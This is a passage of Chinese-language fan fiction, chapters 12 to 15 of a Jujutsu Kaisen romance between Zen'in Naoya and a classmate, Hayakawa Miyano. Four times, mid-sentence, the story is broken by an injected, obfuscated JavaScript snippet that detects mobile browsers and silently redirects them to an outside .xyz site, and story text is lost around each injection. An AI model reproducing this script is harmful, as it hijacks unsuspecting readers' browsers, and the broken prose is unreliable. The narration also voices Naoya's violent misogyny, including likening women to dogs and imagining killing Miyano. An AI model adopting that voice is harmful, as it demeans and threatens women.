前一秒为了让他同意借宿骗他说“突然想起来有很多喜欢直哉君的地方”,后一秒达成目的后就开始随意的糊弄了吗? 禅院直哉睁开眼,恶狠狠的瞪了她一眼,径直越过她,啪的一声关了灯:“早川,你要是敢晚上吵的话,我就把你从窗户外丢出去。” “欸……”早川宫野原本还想夸些直哉内涵里的东西的,但实在想不到,准备夸夸他肌肉练的不错,结果被对方粗鲁的打断。 关了灯的房间并非完全黑暗。明明屋内还开着空调,却依然任性的将书柜旁的窗户半敞开着。 柔和的月光撒在沙发旁的矮桌上,落在刚才直哉丢给她的漫画书上。 地上的早川抬起头,看向床上的直哉。 已经听不见声音了,不知道是睡着了还是正酝酿着睡意。纯色的被单显现出身躯的轮廓。 早川宫野耸耸肩,没多想。重新枕着枕头,没一会就睡着了。 寂静的房间里,的确听不见一点声音。而躺在床上的禅院直哉,烦躁的翻了个身,紧闭的眼带动着眉心都皱起来。 ———他还是没能睡着。 在左右翻了第三个身后的禅院直哉还是没能睡着。 脑子里全是早川向他告白的话,直哉想不通为什么和漫画里的完全不一样? 明明他有那么多优点可以说,难道喜欢他的只有脸吗? 还是说,他就只有脸…… 深夜的直哉被自己突然蹦出来的念头吓了一跳,徒然睁开眼坐起身。 躺在地铺上的少女侧面朝着墙,正平稳呼吸着。 禅院直哉闭了闭眼,伸手抓了抓额前的发丝。 真是疯了…… 他叹息一声,皱着眉像是做了一个噩梦一般。再抬眸时指缝间露出讥笑的嘴角。 他为什么要这么在意一个蠢货的想法,在意一个蠢女人对他的喜爱? 肤浅至极的女人。 他居然指望从早川这种没脑子的女人里听到些什么。 还险些让他产生“自己只有脸好看”的这种花瓶狗屁想法。 不过是早川还不了解他而已,等真正了解他的那一刻,也会像其他女人一样无法控制的疯狂爱上他的。 他可是禅院直哉啊——是禅院未来家主,唯一继承子的禅院长子,不管是家世、权利、咒力还是任何一个方方面面。 他都是最完美的。 “蠢货。” 琥珀色的瞳孔不屑的眯了眯瞳孔,禅院直哉拉起被褥,重新躺在床上,背对着早川。 12.第十二章 禅院直哉醒来的时候,早川宫野已经离开了。 干干净净的地板上没有一丝杂物,就连昨天晚上为了给早川腾出位置而移动的沙发,此时此刻都已经被归为原位。 直哉坐起身,抬手撑了撑额前的碎发。伺候他的侍女总是非常的有眼力见,他刚一起身,甚至不需要开口说话,侍女们就依次走近房间。 为首的侍女长微微鞠躬,后面跟着的下人先是面朝他跪坐下身,头磕在手背上;其次才站起,低着头看着地板等待他的号令。 “她什么时候走的。” 禅院直哉没心思看侍女进屋前的准备动作是什么,他掀开被子,光着的脚趾刚要触碰到地面,就被一旁的侍女穿上拖鞋。侍女微微颔首,才继续站起身,替他换下衣物。 禅院直哉没直接称早川的名字,而是用了“她”这个词。 “回直哉少爷,早晨七点半的样子,早川大人就离开了。” 这么早? 禅院直哉无声的蹙了蹙眉,张开手任由侍女跪身系腰间的带子。 “哦。” 他应了一声,径直走向浴室。一直到吃完早餐准备去上课,禅院直哉一句话都没说。 甚至侍女不小心打翻了一只碟子,他都只是不耐的瞟了一眼。但熟悉直哉院子里的所有人,都清楚的意识到。 ———直哉少爷不太高兴。 其实直哉自己也意识到了。 这是一种很难形容的不高兴,明明并没有任何惹他不开心的事情,可偏偏心中涌动着一股莫名的烦躁,像融化的冰锥一样,一点一点滴在心脏上,发出嘀嗒嘀嗒的声响。 ……是夏季太热了吧。 禅院直哉加快了去私塾的步伐,两边的风扬起他额前的几缕发丝,他却感觉不到凉意,反而越走越快,越来越热。 直到拉开教室门,室内制冷空调扑面而来冷风的那一刻,以及他一眼就看见早川宫野——— 禅院直哉绷着脸终于缓和下来,微不可查的露出一如既往讥讽的笑意。 她正低着头,半撑着下巴,右边百无聊赖的转着笔。 几乎是连直哉自己都没有察觉的,那股内心的烦躁像被冷气机安抚过一般,也瞬间平缓了下来。 啊……是早川呢。 是昨天晚上,那个像被雨淋湿的小羔羊一样,蜷缩在他房间地板上的早川呢。 是一个劲的说喜欢他,但是却扭扭捏捏不明说的小骗子呢…… 他拉回门,脸上是与寻常无异的表情,径直走向自己的座位,目光却注视着低着头的早川。 她今天穿了一件粉色正绢质地的小纹羽织,卷曲地发丝依然是用头绳缠起,单边矮矮束起。脑后没有多余的发饰,禅院直哉无端的想起来,他好像从来没有见过早川带发饰。 嘛……不过早川这种要身材没身材,要脸蛋没脸蛋的人,无论带什么都只会更加哗众取宠。 目光不着痕迹的越过早川的头顶时,直哉的嘴角扬起几分讥讽。 紧接着,他放下书,拉开蒲团,盘腿坐下。 一切行云流水的自然到不能再自然了,禅院直哉发誓他绝对一个眼神都没有给早川。 因为他清楚的知道,在自己坐下来不出五秒内,早川这个蠢女人一定会一如既往上赶着一样,露出绵羊一样温顺友善的目光,轻柔的喊他的名字。 毕竟只是早川单方面仰慕而已吧,他可不需要作出任何回应啊——— 既然喜欢他,就得拿出些诚意来啊。 禅院直哉随意的摊开书,摆好姿势,内心开始倒数。 【5】 身后转笔的早川动了一下,笔掉在桌上发出清脆的碰撞声。 【4】 禅院直哉已经扬起胜券在握的笑意——他已经准备好嘲讽那个蠢女人了。 【3】 先从哪里嘲讽好呢……先从今天粉色的衣服开始吧。 啧……真土啊。该说不愧是外面野门路子、不知道用了什么肝脏手段生出来的女儿吗?明明这件羽织的质品还是上等呢,结果被早川这样的女人穿出来像个洗衣婆吗? 不过看在脸还不错,也就他还允许早川宫野这种不守妇道的女人喜欢他了。换做是别人,早就一脚踹飞了吧。 【2】 见面第一天就露出那种放荡的笑容和他打招呼,还亲昵的喊他‘直哉君’。 三番两次主动找他,讨好似的请教各种问题。嘁……现在看来,原来从那个时候开始就爱慕他了吗? 被他拒绝后,又开始潜伏在他座位后,表面是认真听课的乖乖学生,就连被他骂了也不敢开口。结果在私底下画他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561752|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各种小漫吗…… 得不到就企图毁掉他吗?虽然有些偏激到恶心了,不过像早川这种几百年没见过男人的 哈,早川宫野这个蠢货还真是…… 喜欢他喜欢的要死啊—— 【1】 “啊!” 铅笔横在桌面,发出“啪”的声音,身后的早川宫野像是发现了什么一样,拉长了的音节。 禅院直哉弯了弯嘴角,上身拉开桌面一段距离———他已经做好了回头的姿势。 迷恋他吧,仰慕他吧,要像狗一样伸出舌头,乖乖的趴在他脚边,露出可怜兮兮的表情,对他喊着“直…… “真的欸…松下君。” 就在直哉回头准备看向她的那一刻,早川宫野像是精准预判一样,仅差一秒的眼神对视,早川直愣愣的丝滑转身,看向身后的松原。 直哉成功的看见早川的后脑勺。 “我突然想起来,明天的体术课是要实战任务的吧?” “嗯嗯!早川君有一起的搭档了吗?如果不介意的话,其实我——” 能勾搭上禅院家的小姐对于他这种旁系来说可谓是老天爷赏饭吃,纵然只是一个外面来的私生女,但冠上禅院的姓,就是御三名家的身份。 这是松下蹲了好几天才找到换位置的机会,又是借漫画书拉近两人话题,又是写纸条邀请早川宫野和他一起做任务的。 纵然结婚会把她甩了也无所谓,松下已经观察很久了,早川宫野几乎没有任何朋友,唯一有“血缘关系”的禅院直哉根本毫不在意,估计还会和他一起玩她。 制造好一切计划的松下露出虚伪的笑容。他抛出纸条,成功再一次吸引了早川宫野的注意。 “啊!我突然想起来,明天的体术课是要实战任务的吧?” “嗯嗯!早川君有一起的搭档了吗?” 松下点点头,为了营造更真实的感触,他甚至还低头露出几分含羞的表情:“如果不介意的话,其实我——” 原本还带着羞涩笑意的脸在看见对面人的那一刻,话音猛地停止,如同被灌入了水泥一般僵住。 ——越过早川宫野的肩膀,是禅院直哉深沉而阴冷的瞳孔。 那双下一秒就会用漆黑的身躯紧紧缠绕住他的脖颈、蛇一样琥珀色的瞳孔,正死死的盯着他。 13.第十三章 “松下同学?” 早川宫野不明所以的歪了歪头。 眼前上一秒还风轻云淡笑容友善的松下像是看见什么恐怖的东西一样,突然面色一紧,说出的话语如鲠在喉,连呼吸都不畅了起来。 早川宫野顺着他的视线,侧转过身。 入目的是红木桌讲台,以及前排空空如也的座位。 “是松下君啊……” 身后响起熟悉的声音,禅院直哉不知道什么时候已经坐在了她的后座上。此时此刻正勾搭着松下的肩膀,一个人几乎要占据两个座位。 手臂下的松下局促地宛如一只小鸡仔,膝盖都紧紧的并在一起,为了给直哉腾出更多的位置,他只能勾着桌角的边缘,垂目看着膝盖上的双手,露出几分讪笑。 能被未来家主搂住的机会可不是人人都有的,好几个同系都艳羡的看向他。 但只有松下自己清楚,禅院直哉压在他肩膀的力气——重的像是要将他的肩胛骨都压碎一般。 从刚才他和早川说话开始就不对劲起来了,那道不带有丝毫笑意甚至堪称漠然警惕的琥珀色瞳孔,几乎让他下意识的汗毛倒立。 更不用说自己莫名其妙的被禅院未来家主当面施压。让松下一时间分不清是不是直哉大人只是在历练他。 “说起来,下节体术课我也没有搭档呢。松下君是准备和早川这种没咒术的蠢……” 明明是一如既往禅院少爷轻飘飘的语气,却在松下眼里完全不是一码事—— 压着他的手臂很疼,因为直哉勾搭着他肩膀的缘故,自己必须弯下腰,以一种非常丑陋扯着脖子的角度,才能完全适应对方的姿势。 松下的额头已经布满细密的汗珠了,脑子一片混乱,大气都不敢喘。 以至于禅院直哉还对他说了些什么,自己已经完全听不进去了。而是一脸慌乱的突然站起身,弯腰着连连后退,撞到桌子都浑然不知,狼狈的爬起身,嘴里念着:“抱、抱歉!我突然想起来有些不舒服,先、先回去了!非常抱歉直哉大人!!” 他仓惶逃走,只留下不明所以的早川和表情不耐的直哉。 早川宫野眨巴眨巴眼睛,虽然不知道为什么会这样,但她还是一如既往的看着禅院直哉说出了每日早晨的一贯话术:“早上好,直哉君。” 于是她立刻收到了禅院直哉不耐烦的眼神,以及鄙夷的嘴角。 直哉的目光上下扫视了她一圈,环抱起双臂,单脚盘起腿,靠在后座的桌子上:“明明我进教室的时候你就看见我了吧,你在躲什么?” “嗯?我吗?” 早川宫野喝醉酒一样“啊……”了一声,像是没想到对方会开口问这个问题,回忆了好一会正要开口,禅院直哉突兀的啧了一声打断她。 “啧……闭嘴吧,我一点都不想听。”直哉抬了抬下巴,依然是傲慢的口吻:“喂,你和松下怎么回事。哈……早川,别告诉我你对这种废物也好奇,嘛,不过倒也是,废物配蠢货,简直绝配。” 禅院直哉每次说出的话都很毒,或者说其实是贱。值得一提的是,每一次直哉说出这种话时都会下意识上扬起几分弧度。 非常微小的弧度,但早川还是能捕捉到———在说出恶心的话时无意识微微眯起的琥珀色瞳孔,谐谑、不屑、讥讽的眼神填满整个眼眶。 这种即视感就像是一只恶劣的小黑蛇,死死缠绕着你的手指,自以为锋利的牙齿掐入皮肤,但其实伤害不了分毫。 反而会因为漂亮的脸蛋,而让人觉得讥讽不屑的表情也可爱的别具一番风味。 让她每一次都忍不住想要再逗逗他啊…… 长时间得不到回应的禅院直哉以为她默认了,连唇边讥讽的笑意霎时消失,取而代之的是紧锁的眉头,眉目间黑压压地透着阴沉。 “没有哦。”早川适当开口,露出安抚性的微笑:“只是同学之间闲聊了几句而已,无论怎么样,在我心中都是无法和直哉君相比的。” 禅院直哉看着她冷笑一声,移开脸。 察觉到对方微表情的早川加大了几分笑意。她微微俯身,眼睛却一眨不眨注视着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569504|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,用只有两个人的声音说道:“毕竟……直哉君才是我喜欢的人啊,我怎么可以做那种同时喜欢好几个的坏女人呢?” 禅院直哉微眉峰微扬,唇角都上扬了好几个像素点,却像是刻意压制的一般,立刻又降了下去,全然没注意到早川宫野的指尖正一点点移动到了他平放在桌上的手上。 她缓慢的移动着,靠近他的动作越来越大,距离也越来越近,嘴上依然说着蛊惑的话:“所以不用担心我会变心哦?就算有比直哉更漂亮的人出现,我依然会坚定不移的选择直哉君的。” 奉承恭迎的话是永远都不会嫌多的。像一张涂满甜腻奶油的大网,牢牢地把他罩住,散发诱人的香味,扫的他痒痒的。 禅院直哉听的迷迷糊糊,察觉到后半段有什么不对的地方,正准备开口,一转眼看见早川宫野的指尖不知道什么时候移动到了他手的手背上,像羽毛一样,正一圈一圈画着打转。 早川宫野指腹的温度传入他的皮肤,她依然笑看着他,褐色的瞳孔亮的像宝石。 痒意几乎要顺着胳膊爬到后脑勺,像是以为他默许了一般,早川的手指也得寸进尺起来,张开手心,企图覆盖在他的手背上—— “你…!” 手背上细小的绒毛刚接触到对方手心的那一刻,禅院直哉猛地缩回。一瞬间泛起的鸡皮疙瘩几乎让他下意识的攥紧了拳头。 “你是有什么毛病吗,早川宫野。” 像是恼羞成怒了一般,他从牙缝中挤出几句单词。明明是愤恨的话语,却因为羞恼,耳垂泛起不正常的红晕,显得格外没有攻击力。 “好嘛,不要生气哦直哉君。” 被当事人抓包的早川脸上并没有丝毫愧疚,反而抬脚踩在眼前的桌架上,依然瞳孔带笑,无所谓的耸耸肩。 “既然这样的话,直哉君要不要等会体术课和我一起呢?” 她露出更大的笑容,像是完全不知羞愧的不断重复着那个词。 “因为喜欢直哉君,所以想要和直哉君多呆一会,应该也是没问题的吧?” 14.第十四章 体术课的训练一向非常简单,对于直哉而言只不过是动动手指的功夫。 因为无聊且无趣,禅院直哉原本并不打算去上课的。看一群废物互啄,还不如继续看他的漫画和打游戏有意思。 不过当他看见眼前这个笑容温和的少女,露出仰慕的、几乎要泛起星星满眼期待的褐色瞳孔时。 禅院直哉承认他的内心闪过一丝快感。 啊……怎么说呢。 虽然他的确被许多女人所羡仰着,不然也不会绞尽脑汁想要进屋来伺候他。但果然还是像早川这种一身反骨、等着他来驯化的女人更有挑战性吧。 驯化到早川宫野像狗一样趴在地上,跪着给他舔鞋子,放荡的掀起上衣,摆出各种取悦他的动作。 这样才不枉付早川那双绵羊一般乖巧顺从,总是对着他露出温和笑容的褐色瞳孔啊…… 使出浑身解数,又是殷切的和他打招呼,又是画一些低俗的画吸引他的注意,表白后终于主动出击,想要和他一起上体术课组队了吗? 因为喜欢他,所以想要多和他呆在一起这种话还真是……哈…… 只能说不愧是早川这种不知廉耻的女人说出来的话吗。 教室里,禅院直哉看着眼前露出温和笑意的早川宫野,无声的勾了勾唇。 为了更好地垂眸睥视她,禅院直哉抬高了些许下巴,琥珀色的瞳孔盯着她。 “算你还有些脑子啊早川,我还以为你已经蠢到没救了,现在都找一些不三不四的人组队了吗?” 他上下扫视了一下,伸出两根手指嫌弃的扯了扯她的衣服:“你就穿这个和我训练吗?嘁……准备在训练场开茶话会吗?丑死了。” 早川宫野欸了一声,抬起袖口左右看了看;“当然不会了,只是日常的羽织而已嘛……而且也没有到很丑的地步吧。我有带训练服的,等会就换掉它。” 禅院直哉还想再说些什么,突然蹙起眉:‘不会又是上次那个胸罩背心吧。’ “是运动背心哦。” “嘁……” 像是眼前是什么十分恶心丑陋的东西一样,直哉漂亮的脸上眉心皱得更深了。 ——开什么玩笑啊,穿成那么暴露的样子大摇大摆的在训练场给别的男人看吗? 上次他都说成那样了,还不知道悄悄换一套吗? 勾引他就够了,还想着勾引其他野男人吗? 禅院直哉眼底的嫌弃太明显了,早川宫野不明所以的眨巴眨巴眼睛:“怎么了?” “不准穿那一套。” 他冷冷警告。 “可是我只带了这一……” “啧。” 禅院直哉不耐烦的打断她:“穿我的。” 早川宫野先是睁大眼睛愣住半晌,随后褐色的眼睛亮了一下,眼尾慢慢眯起一个弧度。 像是想到了什么一样,语气都郁馥缠绵的拉长:“欸——穿直哉君的衣服的吗?” “…喂你这是什么奇怪的表情啊!” 又是那种该死的不适眼神……! 禅院直哉被盯的有些不自在了,尤其再配上早川匪夷所思的语调。那种直白的语气和视线像是现在就要将他的衣服扒开一样。 “只是多带了一套而已。既然是要和我组队,别穿成下三滥的样子出来丢我的脸啊。” “还真是莫名的有偏见和敌意呢直哉君。” 早川宫野妥协的耸耸肩:“现在去换吗,还是等会?” 教室里的人并没有很多,陆陆续续虽然有同学进来,但大多都只是在干自己的事,并未注意到他们。 禅院直哉站起身。抛下一句“我先走,你随后跟上”就大步走出教室。 他可不想在人多的时候被别人看见自己和早川单独出去。 本来就是早川率先提出想要和他组队的吧,没让她跪在地上求他就不错了。 出教室后的直哉转身去了杂物室。 等了好一会,早川宫野才姗姗来迟。 “慢死了。” 他抬手,丢给早川宫野一件衣服。 这是一件黑色的武士服羽织,训练时会流很多汗,直哉讨厌汗水的味道,所以通常都会让下人备三套衣服。一套训练前穿,另一套结束后换下。 多余的一套作为备选,是上一次直哉被茶水溅到后,命人备下的。 反正又不是他拿,不管带多少东西都和他无关。嘛……不过给早川也无所谓,这件羽织是他最不喜欢的那一件,原本打算丢掉的。 他走过去,关上门直到看不见一丝缝隙。 “真是麻烦。像你这种女人除了我也没人愿意和你组队了吧,不知羞耻的穿那样的衣服在男人里晃荡。嘁,早川,我看你也是贱的要……” 禅院直哉转过身,话音戛然而止。他看着已经解开纽带,伸手准备脱下和服的早川宫野。 有些松垮垮的外衣挂在肩膀上,露出右边光滑的肩部。领口也凌乱的交错在一起。 他像是没想到早川宫野会公然在他面前解开衣服一样,尤其对方注意到了他,却依然手上不停的解着衣物,丝毫没有察觉不对劲的地方。 “喂!你、你好歹说一声吧!” 不知是太突然了还是什么缘故,四周的空气徒然升温,禅院直哉快速转身背对早川,还险些咬到舌头。 “干嘛。” 他听见身后早川宫野笑了一声:“有必要这样吗,不管是什么部位,明明大家都是一样的吧,难道直哉君没学过生理课吗?” 什么叫……明明大家都是一样的。 禅院直哉不悦的咬了咬牙床。鬼知道早川这种死骗子会不会借“被看光了”赖上他啊,弄的好像他很想看她一样吗!? 明明瘦的要死,抱起来也只会硌手的程度。还不要脸的自夸有B+…… “我好了。” 早川宫野抬了抬手,禅院直哉的衣服还是太大了,袖口有些松垮垮的垂下来:“怎么这种眼神,难道我系错了吗?” “蠢死了。” 禅院直哉皱眉,不耐道:“用绳子襻膊把袖口挽起来啊。” 早川宫野后知后觉的噢了一声,又慢吞吞的拿起绳子,拿起头和尾,比划着长短。 “啧……你是蜗牛吗早川,别告诉我你不会系襻膊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586983|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禅院直哉上前,伸手扯过早川手里的绳子。他已经浪费很多时间了,如果赶在上课前进教室,全班的目光都会集中在他身上。 不……准确来说是他和早川宫野的身上啊! 一男一女单独跑出教室,早川还换了衣服,怎么看都是会被误会的程度吧。 虽然没人当面敢这样说,但是一想到他和早川被绑在一起成为茶余饭后的谈资…… 啧。 直哉粗鲁的抽过早川手里的绳子,推了一把让她转过身。 早川宫野欸了一声。 “直哉君居然也会系吗?还以为只有被伺候的份,什么都不懂呢。没想到伺候人也是有一套的嘛……” 什么叫伺候人… 直哉不耐,他满脑子只想快点结束,赶在打铃前回去。勒着早川的绳子用力收了收,白皙的皮肤勒出红印。 “闭上你的嘴早川,不说话没人把你当哑巴。” “哈……” 早川宫野轻笑一声。她张开手,任由禅院直哉的手臂穿梭在她的腋下,系前面的袖口时,毛茸茸的黑色发丝移动到了她的眼前。 以早川宫野的视线,刚好垂眸就可以看见他额前的头发和眼睫。 “直哉君的耳朵,很红啊。” 她说道,视线也随之移动着。 “耳廓的轮廓也非常分明呢……直哉君的耳垂似乎比脖子的肤色还要白啊,都能看见微小的绒毛。软软的像淡奶油一样呢……” 禅院直哉没空听早川又在说什么垃圾话,只是一味的用力收紧绳子,像是企图把她勒死。 直到自己的耳垂被什么温热的东西覆盖,指腹间的薄茧轻轻摩擦着他的耳垂。 完全没有预料到对方会这样做,抑或者说,从来没有人敢对他这样做。 一时间的大脑都恍惚起来,禅院直哉愣住,低头看着绳子的瞳孔都有些放大,像是还在迟钝的回忆刚才发生了什么。 早川宫野恶劣地捏了捏他的耳垂。先是耳骨,继而是耳垂。因为常年绘画的缘故,她指尖的薄茧有些磨人,像羽毛的根部,轻轻扫动着他。 头顶又传来轻佻的声音,带着笑意。 “而且也很烫呢……紧张吗?还是在害羞?hh……真可爱啊直哉君,还是处男吗?” 什么…? 禅院直哉如同上了发条一般,一卡一卡的抬起头,琥珀色的瞳孔放大。 直到好几秒,早川宫野的手指已经得寸进尺的准备顺着他的耳垂探向他的衣领时—— 啪! 禅院直哉如同触电一般,伸手打开早川的手。手与手背间,发出清脆的声响。 禅院直哉面色通红,伸手抵住嘴唇,后退好几步。因为下意识后退而松开系住的绳子,原本挽好的袖口又全部散开。 “哎呀……” 白色的绳子落在地上,阳光下带着柔和的微光。 早川抬了抬胳膊,露出人畜无害的微笑:“散掉了欸直哉君,而且……” 她歪了歪头,右手抵住下巴。 “好像快上课了哦?” 早川宫野话音刚落,铃声响起。 15.第十五章 禅院直哉见过很多女人。 准确来说,是在禅院见过很多女人。 抛去“母亲”这个形同虚设,并不存在的角色。从小侍奉他的女人小到穿衣用食,大到一切生活中的琐事。总是一轮换了又一轮。 女人这个词对他来说,就像是碗、茶杯一样普通且常见的存在。 禅院直哉从未放在心上,或者说,他懒得多看上一眼。 很无趣的啊……禅院直哉看着眼前跪在脚边替他脱鞋的侍女,第一万次这样想。 她们顺从听话,的确是直哉,或者说所有男人都喜欢的类型。 不过女人不就是喜欢顺从听话吗?因为弱小、无用,所以只能露出可怜兮兮顺从的表情,以此来企图获得强者的怜悯啊…… 偶尔直哉也会丢下一两个野果,命令侍女爬过去跪在地上用嘴捡起来吃掉。 一开始她们也会害羞紧张到满脸通红,但随着他强制的命令,最终也只是乖乖趴在地上,像狗一样,张开口头深深的埋在地上。 啊……是啊,像狗一样呢。 女人就是狗嘛。 是饲养的宠物,是废物,是沾满泥泞的垃圾,是狠狠踢上一脚,就算满脸是血,都还会爬过来抱着他的腿摇尾巴乞求他不要生气的狗呢。 直哉一直是这样认为的。 至少在遇见早川宫野之前,禅院直哉一直是这样认为的。 早川宫野…… 他第一万次将这个名字在齿贝间研磨,像是要将她咬碎,连带着骨头和血肉全部拆吃入腹。 早川宫野是一个贱女人。 是一个很贱很贱的女人。 “在紧张吗,还是在害羞?哎呀……难道还是处男吗直哉君。” 早川宫野说这句话的时候,她纤细的手指已经顺着他的耳垂滑到了他的下颚。 指尖带着痒意,一点点滑到他的喉结。像一把冰凉的手术刀,所有被她触碰过的地方都迸射出血液的炙热。 而那如同绵羊一样温顺可爱的脸庞,早已露出玩味般的笑容。 禅院直哉感觉自己快要疯了。 不管是被女人触碰自己的敏感部位,还是被人调侃性的问他“难道还是处男吗”。 大脑一瞬间的停滞让他无法快速做出反应,甚至手里还捏着准备替她系上的绑带。 一瞬间的呆滞后,紧随而至的是几乎要被羞恼冲昏头脑的暴怒。 全身的血液都像是一窝蜂的涌入他的大脑,以至于禅院直哉根本没意识到此时此刻的自己脸有多么的红。 因为用尽了全身的力气打开早川宫野不断向下的手,故而发出的拍击声格外的响亮。 大力到禅院直哉自己的左手都在发麻。 ———不知廉耻的贱女人…! 禅院直哉像是真的被冲昏了头了,他指尖发白,连眼尾都染上红意,胸口剧烈的起伏着。 直到铃声响起后,一切都来不及了。 “早川宫野……!” 禅院直哉气的要死,从牙缝中咬牙挤出她的名字,琥珀色的瞳孔眯成一条线。 他伸手在自己怀中摸索着匕首,上前抓住早川的手腕。 砰的一声,女人的手腕被按在窗户上,早川宫野的后背也抵在冰冷的瓷砖上。 禅院直哉在怀中摸索着,不知道是不是因为真的被气昏了的缘故,好半天都摸不到匕首。 但这并不妨碍他杀死早川宫野。 女人而已,掐死,踢死,或者抓着她的头发狠狠撞在玻璃上,什么样都可以。 匕首并不是杀死早川宫野最好的办法,或者说——早川这样的贱女人还不配…… “在找这个吗?” 什么冰冷的东西抵住他的喉结,轻轻挑起他的下颚。 ……该死的贱女人!! 尖锐的顶端让他无比熟悉,禅院直哉的喉结动了动,随着匕首上挑的弧度扬了扬下颚。 早川宫野褐色的眼底笑意似乎更深了,甚至还闪烁着某种晦涩不明的光芒。 ———到底是什么时候! “刚刚直哉君环住我系绑带的时候顺手摸到的哦,本来只是想试一下之前学的技术有没有退步的,没想到意外的顺利呢。” 绵羊一样甜蜜的笑容,眼角的那颗痣却显得眼前的女人多添加了几分恶劣的笑意。 像一只寄生在羔羊身上的恶魔。 有着乖巧可爱的脸和笑容,所有对他说的话和做出的事却永远一副坏笑恶劣的表情。 早川宫野缓慢的直起身,褐色的瞳孔先是看向手中的匕首,随后移动到他的脸上。 “没有想要攻击直哉君的意思,只是刚才太突然了,有点把我弄痛了。” “嘁…” 禅院直哉冷笑一声,表情不屑道:“你不会真的以为单凭一把匕首就能杀掉我吧。” 琥珀色的瞳孔眯了眯:“蠢货。” 对于禅院直哉的讥讽,早川并没有太多表情。 她依然是一副笑眯眯的样子,缓缓叹口气后,移开抵在他下颚的匕首: “说什么呢直哉君。” 她无奈道:“直哉君是我仰慕的人,我怎么可能会对直哉君下手呢。” “只是开个玩笑而已啰,是因为我刚才说话太冒犯的缘故惹直哉君不开心了吧,对不起嘛,只不过刚才直哉脸红红的,耳朵烫烫的真的很可爱。” 早川宫野耸耸肩,摊开手将匕首递给他。 “好嘛好嘛,别生气了。只是因为很喜欢直哉,所以才问的过分一点了嘛……” 她讨好似的眨巴眨巴眼睛,扬起大大的微笑:“对喜欢的人会更多的关切一下私生活这种事,也是比较正常的吧?” 直哉:“……” 又是这种话。 每一次都打着喜欢他的幌子,更加得寸进尺的对他做着过分的事。 “你到底……啧…算了。” 禅院直哉烦躁的啧了一声,转过身拿回匕首。 虽然早川宫野真的很讨人厌,不过刚才那种话语和表情…… 禅院直哉微挑起眼尾,伸手擦拭匕首的把柄。 ———早川宫野其实是在示弱吧? 因为看见他生气了,所以在讨好他吗? 一遍又一遍说着喜欢他,像是刻意强调些什么一样。 是担心自己会忘掉,所以一次又一次做着过分的事只是为了让他印象深刻。 “啧……” 禅院直哉又啧了一声。 ———她还真是……喜欢他喜欢到无法自拔啊。 “喂。” 禅院直哉收好匕首,环抱双臂看向早川:“现在怎么办。” 早川宫野还在弄着绑带,左右的袖口被她弄得参差不齐。她抬起头:“什么怎么办?” “上课啊,我可不想被别人知道是和你单独在一起。” “可是等会上课的时候,大家都会看见我们两个位置是空着的。” 早川眨动了一下眼睛:“其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594406|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也非常容易能猜到我们两个是在一起的吧?” 禅院直哉微愣。 “欸?难道直哉君没想到这个问题吗?“早川宫野笑道:“还真是意外的可爱呢……” “喂——” 禅院直哉皱起眉,语气不耐。 ——可爱什么的…… 哪有人会形容男人啊! 早川这个蠢货,简直是语言匮乏的文盲。 窗户前还在摆弄绑带的早川宫野无所谓的嗯哼了一声。这个绳子真的很难系了,她幼年并没有穿过这种衣服,或者说大多都是衣衫褴褛随便捡点别人丢掉的凑合凑合穿而已。和服、羽织这种高档次的东西她一概不通。 早知道这样,她刚才就应该多看几眼禅院直哉是怎么穿来穿去的了。 “啊……真的还是不太会欸。” 早川宫野沮丧,第五次准备对比长短重新开始系:“是这样吗?还是这样?不对……直哉你刚才是从这边系的吧?” 禅院直哉靠在书柜前,表情有些玩味。 真是蠢女人啊…… 连襻膊都不会系吗?没有强大的咒力也没有多少文化,的确也只能画一些低俗的漫画来吸引他的注意力了。 说话还如此不知廉耻,行为放荡……呵…除了脸和身材不错之外。 的确也只有他会勉强接受这样的早川了吧。 不……或许说,不会系襻膊,也是早川宫野企图引起他的小把戏吧? 毕竟哪有人不会系这种东西啊? 故意一开始拖延时间,就是为了把他留在这里制造独处。故意说不会系襻膊,只是为了和他有肢体接触。 这种低劣的引诱,禅院直哉早就看得一清二楚了。 